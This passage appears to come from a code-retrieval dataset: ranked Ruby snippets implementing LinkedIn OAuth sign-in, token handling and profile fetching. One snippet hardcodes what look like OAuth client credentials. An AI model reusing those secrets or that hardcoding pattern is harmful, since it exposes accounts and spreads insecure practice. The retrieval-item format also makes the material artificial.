\tredirect_to \"\"\n end", "title": "" }, { "docid": "d00229248f957029c1f50da5e2410ce1", "score": "0.696765", "text": "def connect_to_linkedin(auth)\n self.linkedin_profiles.create(\n uid: auth.uid,\n token: auth.credentials.token,\n secret: auth.credentials.secret,\n first_name: auth.info.first_name,\n last_name: auth.info.last_name,\n phone: auth.info.phone,\n location: auth.info.location,\n profile_url: auth.info.urls.public_profile,\n industry: auth.info.industry,\n avatar: auth.info.image)\n # self.provider = auth.provider\n # self.save!\n end", "title": "" }, { "docid": "48b5900579feebdcb9f6e684de24c358", "score": "0.6957098", "text": "def initialize(options={})\n options = LinkedIn.options.merge(options)\n Configuration::VALID_OPTIONS_KEYS.each do |key|\n send(\"#{key}=\", options[key])\n end\n end", "title": "" }, { "docid": "e89b51102054783900590c83dfa13c67", "score": "0.6640184", "text": "def linkedin\n\t\tprocess_callback\n\t\tauth = request.env[\"omniauth.auth\"]\n session[:signed_in_with] = auth.provider\n\t\tsession[:lin_img] = auth.info.image\n\t session[\"linkedin_auth\"] = true\n\t\tsession[\"lin_name\"] = auth.info.name\n\t\tif !auth.extra.raw_info.publicProfileUrl.nil?\n\t\t\tsession[\"publicProfileUrl\"] = auth.extra.raw_info.publicProfileUrl\n\t\telse\n\t\t\tsession[\"publicProfileUrl\"] = \"#\"\n\t\tend\n\t\tsession[:lin_token] = auth.credentials.token\n\t\tsession[:lin_secret] = auth.credentials.secret\n\t\tAuthentication.find_by_provider_and_user_id(auth.provider,session[\"warden.user.user.key\"][1][0]).update_attribute('screen_name',auth.info.name)\n\t\tredirect_to \"/users/profile_edit\"\n\n end", "title": "" }, { "docid": "f18fa5f0e1517d7d0ed3baa81878fce4", "score": "0.63667667", "text": "def init_linkedin_session(access_token, access_secret)\n puts \"---- init_linkedin_session\"\n \n # Check if the user is registered in the system\n # 1. Get the basic user information from LinkedIn to perform checks on\n @my_profile = a_recruiter__do_linkedin(0)\n # @my_profile = do_linkedin(0)\n \n \n # -- [No active LinkedIn connection]\n if @my_profile.nil?\n \n session[:request_token] = get_linkedin_consumer().get_request_token({:oauth_callback => callback_url})\n \n if session[:request_token]\n session[:access_token] = session[:request_token].token\n session[:access_secret] = session[:request_token].secret\n end\n \n # -- Return the 'auth_url' if the method's 'get_aurh_url' flag is set to 'true'\n \n return session[:request_token].authorize_url\n \n end\n \n \n if @my_profile[:response_object]['id']\n user_connector = Fs2UserConnector.find_by_linkedin_id(@my_profile[:response_object]['id'])\n elsif @my_profile[:response_object]['emailAddress']\n user_connector = Fs2UserConnector.find_by_linkedin_email(@my_profile[:response_object]['emailAddress'])\n elsif @my_profile[:response_object]['publicProfileUrl']\n user_connector = Fs2UserConnector.find_by_linkedin_email(@my_profile[:response_object]['publicProfileUrl'])\n end\n \n # Update the access keys in case the 'user_connector' was found (a new one, an 'updated' one etc.)\n if user_connector\n user_connector.update_attributes({\n :linkedin_access_token => access_token,\n :linkedin_access_secret => access_secret\n })\n end\n \n if session[:user].nil?\n \n if user_connector && user_connector.user_id # exists in DB\n \n session[:user] = Fs2User.find_by_id(user_connector.user_id)\n \n else\n \n # Create USER\n session[:user] = Fs2User.new({\n :status_id => Fs2User::USER_STATUSES[:linkedin_signed_in], \n :user_type_id => Fs2User::USER_TYPES[:job_seeker],\n :referral_id => session[:user_referral]\n })\n session[:user].email = @my_profile[:response_object]['emailAddress'] if @my_profile[:response_object]['emailAddress']\n session[:user].save(false)\n \n # Create JOB SEEKER\n full_name = \"\"\n full_name += @my_profile[:response_object]['firstName'] if @my_profile[:response_object]['firstName']\n if @my_profile[:response_object]['lastName']\n full_name += \" \" if !full_name.blank?\n full_name += @my_profile[:response_object]['lastName'] \n end\n \n # -- Save the contact details\n @person = Fs2Contact.new({:full_name => full_name})\n @person.user_id = session[:user].id\n @person.save(false)\n \n # -- No Company\n \n # Create USER CONNECTOR\n user_connector = Fs2UserConnector.new({\n :linkedin_access_token => session[:access_token],\n :linkedin_access_secret => session[:access_secret],\n :status_id => 1\n })\n user_connector.user_id = session[:user].id if session[:user]\n user_connector.linkedin_id = @my_profile[:response_object]['id'] if @my_profile[:response_object]['id']\n user_connector.linkedin_email = @my_profile[:response_object]['emailAddress'] if @my_profile[:response_object]['emailAddress']\n user_connector.linkedin_first_name = @my_profile[:response_object]['firstName'] if @my_profile[:response_object]['firstName']\n user_connector.linkedin_last_name = @my_profile[:response_object]['lastName'] if @my_profile[:response_object]['lastName']\n user_connector.linkedin_public_profile_url = @my_profile[:response_object]['publicProfileUrl'] if @my_profile[:response_object]['publicProfileUrl']\n user_connector.save(false)\n \n end\n \n end\n \n session[:user_connector_id] = user_connector.id\n \n job_seeker = Fs2JobSeeker.find_by_user_id(user_connector.user_id)\n session[:job_seeker_id] = job_seeker.id if job_seeker\n \n skills_profile = Fs2SkillsProfile.find(:first, :conditions => \n [\"profile_type = ? AND entity_type = ? AND entity_id = ?\", \n FS_PROFILE_TYPES[:user_profile], ENTITY_TYPES[:job_seeker], session[:job_seeker_id]]) if session[:job_seeker_id]\n session[:skills_profile_id] = skills_profile.id if skills_profile\n \n @my_profile[:response_object]\n \n end", "title": "" }, { "docid": "4884397c5ced11ac1906516b62396629", "score": "0.6319285", "text": "def update_linkedin\n profile = self.get_profile\n self.update(\n headline: profile.headline,\n industry: profile.industry,\n profile_url: profile.public_profile_url\n )\n self.profile.present? ? self.profile.from_omniauth(profile) : self.build_profile.from_omniauth(profile)\n end", "title": "" }, { "docid": "e523d5e5ca59b3c5a86cc6c2bc3804e0", "score": "0.62286603", "text": "def a_recruiter__init_linkedin_session(access_token, access_secret)\n puts \"---- init_linkedin_session\"\n \n # Check if the user is registered in the system\n # 1. Get the basic user information from LinkedIn to perform checks on\n # @my_profile = a_recruiter__do_linkedin(\"my_groups\", nil, nil, {:access_token => session[:access_token], :access_secret => session[:access_secret]})\n \n linkedin_token_pair = {:access_token => session[:access_token], :access_secret => session[:access_secret]}\n \n \n # -- 1. User's user information\n \n @my_profile = a_recruiter__do_linkedin(\"user_information\", nil, nil, linkedin_token_pair)\n \n \n # -- X. EXECPTION HANDLING - If for some reason, the LinkedIn connection is broken, redirect to the AUTH page again\n \n if @my_profile.nil?\n \n session[:request_token] = get_linkedin_consumer(3).get_request_token({:oauth_callback => callback_url})\n \n if session[:request_token]\n session[:access_token] = session[:request_token].token\n session[:access_secret] = session[:request_token].secret\n end\n \n # -- Return the 'auth_url' if the method's 'get_aurh_url' flag is set to 'true'\n \n return session[:request_token].authorize_url\n \n end\n \n \n # -- X. Get the USER CONNECTOR object from the LINKEDIN attributes \n \n if @my_profile[:response_object]['id']\n user_connector = Fs2UserConnector.find_by_linkedin_id(@my_profile[:response_object]['id'])\n elsif @my_profile[:response_object]['emailAddress']\n user_connector = Fs2UserConnector.find_by_linkedin_email(@my_profile[:response_object]['emailAddress'])\n elsif @my_profile[:response_object]['publicProfileUrl']\n user_connector = Fs2UserConnector.find_by_linkedin_email(@my_profile[:response_object]['publicProfileUrl'])\n end\n \n \n # -- X. Update the user connector's TOKENS\n \n if user_connector\n user_connector.update_attributes({\n :linkedin_access_token => access_token,\n :linkedin_access_secret => access_secret\n })\n end\n \n \n # -- X. Check if the user DOES NOT exist in the 'session' object\n \n if session[:user].nil?\n\n \n # -- X. Check if the SOCIAL CONNECTOR has a 'user_id' assigned to it, if so, get the relevant user\n \n if user_connector && user_connector.user_id # exists in DB\n \n \n # -- X. Find the USER\n \n session[:user] = Fs2User.find_by_id(user_connector.user_id)\n session[:user].update_attribute(:updated_at, Time.new.to_time) # Update the 'updated_at' field\n \n \n # -- X. Find the RECRUITER\n \n recruiter = Fs2Contact.find_by_user_id(user_connector.user_id)\n session[:recruiter_id] = recruiter.id if recruiter\n \n \n # -- X. Locate the LATEST job the Recruiter worked on (first try agent, then company recruiter)\n \n job = Fs2Job.find(:first, :conditions => [\"agency_contact_id = ?\", recruiter.id], :order => 'updated_at DESC')\n job = Fs2Job.find(:first, :conditions => [\"company_contact_id = ?\", recruiter.id], :order => 'updated_at DESC') if job.nil?\n session[:job_id] = job.id if job\n session[:job_status_id] = job.status_id if job\n \n \n # -- X. Set up the USER_CONNECTOR object\n \n session[:user_connector_id] = user_connector.id\n \n \n # -- X. Otherwise, create a new USER object\n \n else\n \n \n # -- X. Create the USER object\n \n session[:user] = Fs2User.new({\n :status_id => Fs2User::USER_STATUSES[:linkedin_signed_in], \n :user_type_id => Fs2User::USER_TYPES[:recruiter],\n :referral_id => session[:user_referral]\n })\n session[:user].email = @my_profile[:response_object]['emailAddress'] if @my_profile[:response_object]['emailAddress']\n session[:user].save(false)\n \n \n # -- X. Create the RECRUITER object\n \n full_name = \"\"\n full_name += @my_profile[:response_object]['firstName'] if @my_profile[:response_object]['firstName']\n if @my_profile[:response_object]['lastName']\n full_name += \" \" if !full_name.blank?\n full_name += @my_profile[:response_object]['lastName'] \n end\n \n # -- Save the contact details\n person = Fs2Contact.new({:full_name => full_name})\n person.user_id = session[:user].id\n person.save(false)\n session[:recruiter_id] = person.id\n \n \n # -- X. Create the USER_CONNECTOR object\n \n user_connector = Fs2UserConnector.new({\n :linkedin_access_token => session[:access_token],\n :linkedin_access_secret => session[:access_secret],\n :status_id => 1\n })\n user_connector.user_id = session[:user].id if session[:user]\n user_connector.linkedin_id = @my_profile[:response_object]['id'] if @my_profile[:response_object]['id']\n user_connector.linkedin_email = @my_profile[:response_object]['emailAddress'] if @my_profile[:response_object]['emailAddress']\n user_connector.linkedin_first_name = @my_profile[:response_object]['firstName'] if @my_profile[:response_object]['firstName']\n user_connector.linkedin_last_name = @my_profile[:response_object]['lastName'] if @my_profile[:response_object]['lastName']\n user_connector.linkedin_public_profile_url = @my_profile[:response_object]['publicProfileUrl'] if @my_profile[:response_object]['publicProfileUrl']\n user_connector.save(false)\n session[:user_connector_id] = user_connector.id\n \n end\n \n end\n \n \n # ----\n # ----\n # COLLECT ADDITIONAL LINKEDIN INFORMATION --> COMPANIES + GROUPS\n \n \n # -- X. Find the current positions\n \n if @my_profile[:response_object]['positions'] && @my_profile[:response_object]['positions']['values']\n current_positions = @my_profile[:response_object]['positions']['values'].select { |c| c['isCurrent'] == true && c['company'] }\n current_company_ids = current_positions.collect { |p| p['company']['id'] if p['company'] }\n end\n \n # -- 2. User's current companies' details & groups\n \n @my_company_details = a_recruiter__do_linkedin(\"user_company_information\", {:company_ids => current_company_ids}, nil, linkedin_token_pair)\n my_groups = a_recruiter__do_linkedin(\"my_groups\", {:company_ids => current_company_ids}, nil, linkedin_token_pair)\n \n \n # -- 3. Sync the user's publishing groups\n \n user_groups = my_groups[:response_object]['values'].collect { |group| [ group['_key'], group['membershipState']['code'] ] }\n sync_user_publishing_channels(session[:user].id, user_groups)\n \n \n # -- 4. Update the 5skills LinkedIn groups information (logo, id, etc)\n \n # 'nil' is used as 2nd parameter as it is normally used for recording the 'missing' groups information\n _insert_update_channels_table(my_groups, nil)\n \n \n # COMPANIES + GROUPS \n # ----\n # ----\n \n \n \n # -- X. Locate the SKILLS PROFILE if it exists in DB\n # NEEDS TESTING\n \n # skills_profile = Fs2SkillsProfile.find(:first, :conditions => \n # [\"profile_type = ? AND entity_type = ? AND entity_id = ?\", \n # FS_PROFILE_TYPES[:user_profile], ENTITY_TYPES[:job], session[:recruiter_id]]) if session[:recruiter_id]\n # session[:skills_profile_id] = skills_profile.id if skills_profile\n \n # @my_profile[:response_object]\n \n \n return nil\n \n end", "title": "" }, { "docid": "ee3318a3900f62f63613c7ea4583d641", "score": "0.6222201", "text": "def linkedin_token\n x = authentications.find_by(provider: 'linkedin')\n return x.token unless x.nil?\n end", "title": "" }, { "docid": "83db8c16ceea9fa033a94027f9acf5c9", "score": "0.61542255", "text": "def linkedin\n \n @user = User.find_for_linkedin_oauth(omniauth_param, current_user)\n \n if current_user #invite friend from linkedin || connectting with linkedin\n if session[\"linkedin\"] && session[\"linkedin\"][:invite_friends] #invite friend from linkedin\n redirect_to invite_friends_friendships_path(provider: \"linkedin\")\n else\n redirect_to root_path\n end\n\n else #Login/sign up with linkedin\n if @user.persisted?\n flash[:notice] = I18n.t \"devise.omniauth_callbacks.success\", :kind => \"LinkedIn\"\n \n sign_in_and_redirect @user, :event => :authentication\n else\n session[\"devise.social_data\"] = omniauth_param\n redirect_to new_user_registration_url\n end\n end\n end", "title": "" }, { "docid": "ff667dc12c301bf294e265e2035f255e", "score": "0.6086179", "text": "def linkedin_callback\n\t \n\t code = params[:code]\n\t state = params[:state]\n\t \n\t if !state.eql?(STATE)\n\t # Reject the request as it may be a result of CSRF\n\t redirect_to :controller=> 'login', :action=> :login\n\t else\n\t # Get token object, passing in the authorization code from the previous step\n\t begin\n\t \ttoken = linkedin_client.auth_code.get_token(code, :redirect_uri => \"http://localhost:3000/oauth/linkedin_callback\")\n\t \t \tsession['linkedin_token'] = token.token\n\t \t rescue\n\t \t \t\n\t \t end\n\t redirect_to :controller=> 'users', :action => :index\n\n\t end\n\tend", "title": "" }, { "docid": "0a38fbce66caf929448a52f2cdcbd17b", "score": "0.6085289", "text": "def update_from_linkedin(auth, cv)\n cv['email'] = auth.info.email if auth.info.email\n cv['password'] = Devise.friendly_token[0,20] if Devise.friendly_token[0,20]\n cv['name'] = auth.info.first_name if auth.info.first_name\n cv['image'] = auth.info.picture_url if auth.info.picture_url\n cv['language_spoken'] = auth.extra.raw_info.lastName.preferredLocale.country if auth.extra.raw_info.lastName.preferredLocale.country\n cv['linkedin_auth'] = true\n end", "title": "" }, { "docid": "b00660b390a33b3d7be588c06707c1d4", "score": "0.6082301", "text": "def use_linkedin(hash)\n @linkedin_hash = hash\n @linkedin_hash\n end", "title": "" }, { "docid": "27bb5d16b1f2b1e18df1e9672f7ed4ef", "score": "0.60680056", "text": "def new_linkedin\n redirect_to '/auth/linkedin'\n end", "title": "" }, { "docid": "95c53672c616f21b4c4d836c948b7c61", "score": "0.606205", "text": "def linkedin_register_enabled?\n Figaro.env.respond_to?(:linkedin_key) && Figaro.env.respond_to?(:linkedin_secret)\n end", "title": "" }, { "docid": "5a4a749c4785376e51bdbf93cf2ee6f7", "score": "0.60596246", "text": "def get_linkedin_consumer(permission_type = 3)\n \n case permission_type\n when 1 # Full profile WITH connections\n configuration = { :site => 'https://api.linkedin.com',\n :authorize_path => '/uas/oauth/authenticate',\n :request_token_path => '/uas/oauth/requestToken?scope=r_fullprofile+r_emailaddress+r_network+r_contactinfo+rw_groups',\n :access_token_path => '/uas/oauth/accessToken' }\n \n when 2 # Full profile WITHOUT connections\n configuration = { :site => 'https://api.linkedin.com',\n :authorize_path => '/uas/oauth/authenticate',\n :request_token_path => '/uas/oauth/requestToken?scope=r_fullprofile+r_emailaddress+r_contactinfo+rw_groups',\n :access_token_path => '/uas/oauth/accessToken' }\n \n when 3 # GROUPS (with Full profile)\n configuration = { :site => 'https://api.linkedin.com',\n :authorize_path => '/uas/oauth/authenticate',\n :request_token_path => '/uas/oauth/requestToken?scope=r_fullprofile+r_emailaddress+r_contactinfo+rw_groups+rw_nus',\n :access_token_path => '/uas/oauth/accessToken' }\n end\n \n OAuth::Consumer.new(LINKEDIN_API_KEY, LINKEDIN_API_SECRET, configuration)\n \n end", "title": "" }, { "docid": "37f1d4e34be3e884c470a39a426257df", "score": "0.59739447", "text": "def signin\n oauth_authorize\n end", "title": "" }, { "docid": "b209be03a44d14b7b6a73c2a215b877a", "score": "0.59496874", "text": "def get_profile\n\n # Auth\n token = auth\n\n # Get Client info based on fields provided\n client = LinkedIn::Client.new(API_KEY, API_SECRET, token)\n client.profile(:fields => @profile_fields)\n end", "title": "" }, { "docid": "28427cdd4cae4fd59f11856fad54a3f2", "score": "0.59114766", "text": "def do_linkedin(\n type,\n data = nil,\n re_auth_actions = nil, \n access_keys = {:access_token => session[:access_token], :access_secret => session[:access_secret]})\n\n \n # -- Re-authenticate to the default 'recruiter_home' in case the user doesn't have valid ACCESS_KEYS\n raise APIAuthError.new if access_keys[:access_token].nil? || access_keys[:access_secret].nil? \n \n # -- Convert an INTEGER 'type' to a STRING 'type' for processing\n type = LINKEDIN_CALLS[type] if type.is_a? Integer\n callback_action = nil\n \n # -- Log \n puts \"---- do_linkedin: \" + type.to_s + \" ; \" + access_keys[:access_token].to_s + \"/\" + access_keys[:access_secret].to_s\n \n \n # -- EXECUTE LINKEDIN APIs\n \n case type\n \n \n # ---------------- PROFILE INFORMATION ----------------\n \n \n when \"my_profile\"\n \n access_token = OAuth::AccessToken.new(get_linkedin_consumer(3), access_keys[:access_token], access_keys[:access_secret])\n response = access_token.get(\"http://api.linkedin.com/v1/people/~:(id,first-name,last-name,email-address,public-profile-url)?format=json\")\n return _handle_response(response)\n \n \n when \"my_profile__no_connections\"\n \n access_token = OAuth::AccessToken.new(get_linkedin_consumer(2), access_keys[:access_token], access_keys[:access_secret])\n response = access_token.get(\"http://api.linkedin.com/v1/people/~:(id,first-name,last-name,email-address,public-profile-url,headline,location:(name,country:(code)),industry,skills,positions,educations)?format=json\")\n return _handle_response(response)\n \n \n when \"my_profile__with_connections\"\n \n access_token = OAuth::AccessToken.new(get_linkedin_consumer(1), access_keys[:access_token], access_keys[:access_secret])\n response = access_token.get(\"http://api.linkedin.com/v1/people/~:(id,first-name,last-name,email-address,headline,location:(name,country:(code)),industry,skills,positions,educations,connections:(id,first-name,last-name,email-address,industry,skills,positions,public-profile-url))?format=json\")\n return _handle_response(response)\n \n \n # ---------------- GROUPS ----------------\n \n when \"user_information\"\n response = li__get_user_information(access_keys)\n callback_action = \"get_user_information\"\n \n \n when \"user_company_information\"\n response = li__get_company_information(access_keys, data)\n callback_action = \"get_company_information\"\n \n \n when \"my_groups\"\n \n response = li__my_groups(access_keys)\n callback_action = \"get_linkedin_groups\"\n \n \n when \"post_to_single_group\"\n \n response = li__post_to_single_group(access_keys)\n callback_action = \"publish_job\"\n \n \n # -- Get the groups that I need to publish to (including ones I am not a member of currently)\n #\n when \"my_job__publishing_groups\"\n \n response = li__my_job__publishing_groups(access_keys, data)\n callback_action = \"get_job_publishing_info\"\n \n \n # -- Publish the job\n #\n when \"publish_my_job\"\n \n response = li__publish_my_job(access_keys, data)\n callback_action = \"a_recruiter__publish_job\"\n \n \n # ---------------- DEPRECATED ----------------\n when 2\n response = access_token.get(\"http://api.linkedin.com/v1/people/~:connections:(id,first-name,last-name,email-address,industry,skills,positions)?format=json\")\n when 3 # CONNECTIONS\n response = access_token.get(\"http://api.linkedin.com/v1/people/id=VRfvN4Sueg:(id,first-name,last-name,email-address,headline,location:(name,country:(code)),industry,skills,positions,educations,connections:(id,first-name,last-name,email-address,industry,skills,positions)?format=json\")\n # ---------------- DEPRECATED ----------------\n \n end\n \n \n # -- SUCCESS\n \n return {\n :status => \"200\",\n :action => callback_action,\n :message => \"Successfully saved profile!\"\n }.merge(response)\n \n \n # -- FAILED AUTHENTICATION\n \n rescue APIAuthError => exc\n return construct__auth_error_arr(callback_action, re_auth_actions)\n \n end", "title": "" }, { "docid": "679f4e655b4cde536c7dc6a30a46b35a", "score": "0.5817873", "text": "def oauth_options\n {\n consumer_key: client_id,\n consumer_secret: client_secret,\n token: access_token,\n token_secret: access_token_secret\n }\n end", "title": "" }, { "docid": "8c34721eb63bc337571c5c5ef8606c9e", "score": "0.5792341", "text": "def configure_github_access\n if Settings.instance.oauth_token\n @github = Octokit::Client.new(\n :login => Settings.instance.username,\n :oauth_token => Settings.instance.oauth_token\n )\n @github.login\n else\n configure_oauth\n configure_github_access\n end\n end", "title": "" }, { "docid": "af9dd1de806273b7d0ba4dd3637bff2f", "score": "0.57923406", "text": "def initialize options\n @client_identifier = options.delete(:client_identifier) or raise ArgumentError.new(\"No :client_identifier given\")\n @bridge_secret = options.delete(:bridge_secret) or raise ArgumentError.new(\"No :bridge_secret given\")\n\n @checkdin_landing_url = options.delete(:checkdin_landing_url) || CHECKDIN_DEFAULT_LANDING\n\n end", "title": "" }, { "docid": "c5c677034d20a76475857739e5cbb9fa", "score": "0.5791643", "text": "def initialize(o_auth_client_id: nil, o_auth_client_secret: nil)\r\n Configuration.o_auth_client_id = o_auth_client_id if\r\n o_auth_client_id\r\n Configuration.o_auth_client_secret = o_auth_client_secret if\r\n o_auth_client_secret\r\n end", "title": "" }, { "docid": "2a4ad20a8423bf4670f80c7f35409863", "score": "0.5786329", "text": "def linkedin_profile\n @network = current_user.network ||= Network.new\n (@network.linkedin.nil? || @network.linkedin.blank?) ? \"\" : @network.linkedin\n end", "title": "" }, { "docid": "9e2b495696c945499a950918ebd6a129", "score": "0.5777958", "text": "def a_recruiter__init_linkedin_tokens(re_auth_actions, get_auth_url = false)\n \n \n # -- PROCESS\n # 1. Check session object for 'user' and 'user_connector' -> get the LinkedIn keys\n # 2. [found] attempt to make a basic call (validate the tokens and permissions)\n # [successful] Redirect to funnel step (either publish job or job publishing home)\n # [unsuccessful] Redirect to callback_url\n # 3. [not found]\n # Redirect to callbak_url (authorization)\n \n \n callback_url = linkedin_auth_accept_url\n \n \n # -- Construct the 'accept' and 'cancel' based on the 're_auth_action's parameter\n \n re_auth_querys = \"\"\n \n if re_auth_actions && (re_auth_actions[:accept] || re_auth_actions[:cancel])\n re_auth_querys = re_auth_querys + \"?\"\n if re_auth_actions[:accept]\n re_auth_querys = re_auth_querys + \"ra_a=\" + re_auth_actions[:accept]\n re_auth_querys = re_auth_querys + \"&\" if re_auth_actions[:cancel]\n end\n re_auth_querys = re_auth_querys + \"ra_c=\" + re_auth_actions[:cancel] if re_auth_actions[:cancel]\n end\n \n \n # -- Addition for the 'a_recruiter' implementation\n # callback_url = callback_url + re_auth_querys\n callback_url = callback_url + \"?a_recruiter=true\"\n \n \n # -- Create the REQUEST TOKEN\n \n # session[:request_token] = get_linkedin_consumer().get_request_token({:oauth_callback => callback_url})\n \n \n # -- 1. Get a FRESH request token from the LinkedIn consumer\n # Store it in SESSION\n session[:request_token] = get_linkedin_consumer(3).get_request_token({:oauth_callback => callback_url})\n \n # -- 2. Set the SESSION - TOKEN and SECRET attributes\n if session[:request_token]\n session[:access_token] = session[:request_token].token\n session[:access_secret] = session[:request_token].secret\n end\n \n \n # -- Try and perform a basic linkedin_call to verify if the right permissions exist\n \n # @my_profile = a_recruiter__do_linkedin(\"my_groups\", nil, nil, {:access_token => session[:access_token], :access_secret => session[:access_secret]})\n \n \n # -- Return the 'auth_url' if the method's 'get_aurh_url' flag is set to 'true'\n \n session[:request_token].authorize_url if get_auth_url\n \n end", "title": "" }, { "docid": "36b2767f4acf63cd22627fe579021c29", "score": "0.57547265", "text": "def finishLinkedInAuth\n require 'oauth2'\n\n if params[:code].present? && params[:state].present?\n client = OAuth2::Client.new('75yetg1f8atx89', 'le39CGDc1yQLCo9U', :site => 'https://www.linkedin.com/', :token_url => '/uas/oauth2/accessToken')\n token = client.auth_code.get_token(params[:code], :redirect_uri => request.protocol + request.host_with_port + '/access/finishLinkedInAuth')\n\n #use the token to get this user's first-name, last-name, location, industry, num-connections, positions, email-address, and id\n response = token.get('https://api.linkedin.com/v1/people/~:(first-name,last-name,location,industry,num-connections,positions,email-address,id)?format=json', :headers => { 'authorization' => 'Bearer ' + token.token })\n response = ActiveSupport::JSON.decode(response.response.env['body']) #convert that JSON to a ruby array\n\n #search our database to see whether this is a new user\n found_user = User.where(:linkedInId => response['id']).first\n if found_user == nil\n found_user = createNewUser(response)\n else\n found_user = updateUser(response, found_user)\n end\n \n #set their id in the session, which designates them as logged in\n session[:user_id] = found_user.id\n \n #check whether they should be allowed into our site, as long as they have not been reported three or more times\n if found_user.reportedCount >= 3\n #if they have been reported too many times, log them out and redirect them to the locked page\n session[:user_id] = nil\n redirect_to(:action => 'locked')\n else\n redirect_to(:controller => 'home_feed', :action => 'show') #otherwise, redirect them to the home feed\n end\n \n elsif params[:error].present? && params[:error_description].present?\n puts \"Rejected\"\n \n else\n puts \"Unexpected response\"\n end\n end", "title": "" }, { "docid": "6b0be090bd3a30a100603a3855b7cb19", "score": "0.57533914", "text": "def get_token\n oauth = LinkedIn::OAuth2.new\n url = oauth.auth_code_url\n visit url\n\n form = find('form', class: 'grant-access')\n within form do\n fill_in('session_key-oauth2SAuthorizeForm', with: Rails.configuration.linkedin_email)\n fill_in('session_password-oauth2SAuthorizeForm', with: Rails.configuration.linkedin_password)\n end\n\n find(\"input[type=submit]\").hover\n find(\"input[type=submit]\").trigger(:click)\n\n print \"fetching code\"\n count = 0\n while !page.current_url.include?('code=')\n count += 1\n print \".\" if count & 50 == 0\n end\n\n puts\n url = page.current_url\n code = CGI.parse(URI.parse(url).query)['code'].first\n\n acess_token = oauth.get_access_token(code)\n puts acess_token\n end", "title": "" }, { "docid": "4ed645134f26dba9fb3e157c23ec6f20", "score": "0.5736437", "text": "def get_profile_url_linkedin\n profile_url = self[:info][:urls][:public_profile] if self[:info] and self[:info][:urls]\n profile_url.gsub!(/^http:/, 'https:') if profile_url # protect cookies\n profile_url\n end", "title": "" }, { "docid": "bc1f2e4324279d2f68d633c2e861b67b", "score": "0.57355356", "text": "def init\n init_oauth_access_token\n end", "title": "" }, { "docid": "7e51249935efab66c0d1561cfefe3050", "score": "0.5732183", "text": "def oauth\n request_token = @oauth_consumer.get_request_token\n authorize_url = request_token.authorize_url(:oauth_consumer_key => \n Netflix::Client.consumer_key)\n Launchy.open(authorize_url)\n puts \"Go to browser, a page has been opened to establish oauth\"\n printf \"Pin from Netflix:\"\n pin = gets.chomp\n access_token = request_token.get_access_token(:oauth_verifier => pin)\n end", "title": "" }, { "docid": "c51d64e9403030988252bc2ec93f642e", "score": "0.5727346", "text": "def initialize(consumer_key, consumer_secret, options = {})\n @xero_url = options[:xero_url] || \"https://api.xero.com/api.xro/2.0\"\n @payroll_url = options[:payroll_url] || \"https://api.xero.com/payroll.xro/1.0\"\n @client = OAuth.new(consumer_key, consumer_secret, options)\n end", "title": "" }, { "docid": "408456a6771b936143a394e704d659a2", "score": "0.57179594", "text": "def do_linkedin_login_2(provider_permissions = {:provider => 1, :permissions => 1})\n \n puts \"---- get_provider_request_token\"\n \n case provider_permissions[:permissions]\n \n when 1 # ----- add groups\n configuration = { :site => 'https://api.linkedin.com',\n :authorize_path => '/uas/oauth/authorize',\n :request_token_path => '/uas/oauth/requestToken?scope=r_fullprofile+r_emailaddress+r_network+r_contactinfo+rw_groups',\n :access_token_path => '/uas/oauth/accessToken' }\n end\n \n consumer = OAuth::Consumer.new(LINKEDIN_API_KEY, LINKEDIN_API_SECRET, configuration)\n \n session[:request_token] = consumer.get_request_token({:oauth_callback => linkedin_auth_accept_url + \"?rk=1\"})\n redirect_to session[:request_token].authorize_url\n \n end", "title": "" }, { "docid": "1daffc341c39eb8cda5fb17976402884", "score": "0.56983054", "text": "def initialize(ctoken, csecret, options={})\n @ctoken, @csecret, @consumer_options = ctoken, csecret, {}\n\n # if options[:sign_in]\n # @consumer_options[:authorize_path] = '/oauth/authenticate'\n # end\n end", "title": "" }, { "docid": "0b0e9e7d287c98e844d1754f044eab03", "score": "0.5677969", "text": "def join\n redirect_to '/auth/linkedin'\n end", "title": "" }, { "docid": "26123870f5b9943bd11a0b12ca375639", "score": "0.56608284", "text": "def initialize(ctoken, csecret, options={})\n @ctoken, @csecret, @consumer_options = ctoken, csecret, {}\n @api_endpoint = options[:api_endpoint] || 'http://api.teambox.com'\n @signing_endpoint = options[:signing_endpoint] || 'http://api.teambox.com'\n if options[:sign_in]\n @consumer_options[:authorize_path] = '/oauth/authenticate'\n end\n end", "title": "" }, { "docid": "502e957c82558ac72c0835b29b4a6af3", "score": "0.5652782", "text": "def accept\n #Fetch the 'code' query parameter from the callback\n code = params[:code] \n state = params[:state]\n \n if !state.eql?(STATE)\n #Reject the request as it may be a result of CSRF\n else \n #Get token object, passing in the authorization code from the previous step \n token = client.auth_code.get_token(code, :redirect_uri => get_redirect_uri)\n \n #Use token object to create access token for user \n #(this is required so that you provide the correct param name for the access token)\n access_token = OAuth2::AccessToken.new(client, token.token, {\n :mode => :query,\n :param_name => \"oauth2_access_token\",\n })\n \n session[:linkedin_token] = access_token.token\n #Use the access token to make an authenticated API call\n response = access_token.get('https://www.linkedin.com/v1/people/~')\n \n #Print body of response to command line window\n #logger.debug \"test putting string #{response.body}\"\n \n # Handle HTTP responses\n case response\n when Net::HTTPUnauthorized\n # Handle 401 Unauthorized response\n when Net::HTTPForbidden\n # Handle 403 Forbidden response\n end\n end\n end", "title": "" }, { "docid": "ae0dc19510c3d42cc486a1fc7cd85570", "score": "0.5622801", "text": "def oauth_authentication; end", "title": "" }, { "docid": "914ce1a58f0430add4766fda0980ceb4", "score": "0.5594977", "text": "def oauth(options = {})\n @oauth ||= ApiFactory.new 'Authorizations', options\n end", "title": "" }, { "docid": "3f069de775bbbdfc20df443d0daba893", "score": "0.5524482", "text": "def oauth_client\n if @oauth_client\n @oauth_client\n else\n conn ||= Faraday::Connection.new \\\n :url => \"https://api.gowalla.com\",\n :headers => default_headers\n\n oauth= OAuth2::Client.new(api_key, api_secret, oauth_options = {\n :site => 'https://api.gowalla.com',\n :authorize_url => 'https://gowalla.com/api/oauth/new',\n :access_token_url => 'https://gowalla.com/api/oauth/token'\n })\n oauth.connection = conn\n oauth\n end\n end", "title": "" }, { "docid": "c0e9c4a99e384c0601369ea71f6d7f77", "score": "0.5516009", "text": "def initialize\n\t\t@client = RedditKit::Client.new\n\t\t@client.api_endpoint = REDDIT_URL\n\t\t@client.sign_in(ENV[\"REDDIT_USERNAME\"], ENV[\"REDDIT_PASSWORD\"])\n\tend", "title": "" }, { "docid": "1581070f4ea5e593d3744bc131a1fb55", "score": "0.5514973", "text": "def get_access_token(code=nil, options={})\n check_for_code!(code)\n options = default_access_code_options(options)\n\n if self.options[:raise_errors]\n check_access_code_url!(options)\n 